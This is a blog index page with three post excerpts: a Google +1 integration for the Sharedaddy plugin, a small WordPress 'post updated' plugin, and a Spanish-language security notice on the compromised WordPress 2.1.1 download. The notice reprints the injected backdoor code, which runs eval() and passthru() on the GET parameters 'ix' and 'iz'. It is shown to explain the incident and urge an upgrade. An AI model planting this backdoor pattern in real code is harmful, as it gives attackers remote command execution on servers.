Blog, Development

Google +1 for Sharedaddy

Google published on 01 June the possibility to add Google +1 to your page, which is a great service to add to the existing sharing services.

Im using Sharedaddy, and I will not install another extra plugin to support Google +1 and the Sharedaddy option to add a custom service is not prepared for dynamic services like this one. That’s because I looked to integrate the service into Sharedaddy avoiding to change to much the plugin.

Continue reading

Blog, IT Security

WordPress 2.1.1 Comprometido

Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de wordpress hay que actualizar inmeditamente a la version 2.1.2

El codigo injectado esta en estos dos ficheros:

  • wp-includes/feed.php
    function comment_text_phpfilter($filterdata) {
        eval($filterdata);
    }
    
    if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
    
  • wp-includes/theme.php
    function get_theme_mcommand($mcds) {
      passthru($mcds);
    }
    
    if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
    
Blog, Development

WordPress Post Update Plugin

He echo un pequeño plugin para poner al final del post un texto de que ha sido actualizado el post. Es algo que siempre se me olvida de poner en los posts y que suele quedar bien para saber que ha habido modificaciones. Esta es la primera version de todas que lo unico que hace es añadir un texto “Updated: fecha” y se puede definir los estilos usando la clase “post_updated”. Segun vaya teniendo tiempo ya le ire añadiendo nuevas funcionalidades.

Podeis descargarlo aqui Post Updated v.0.1a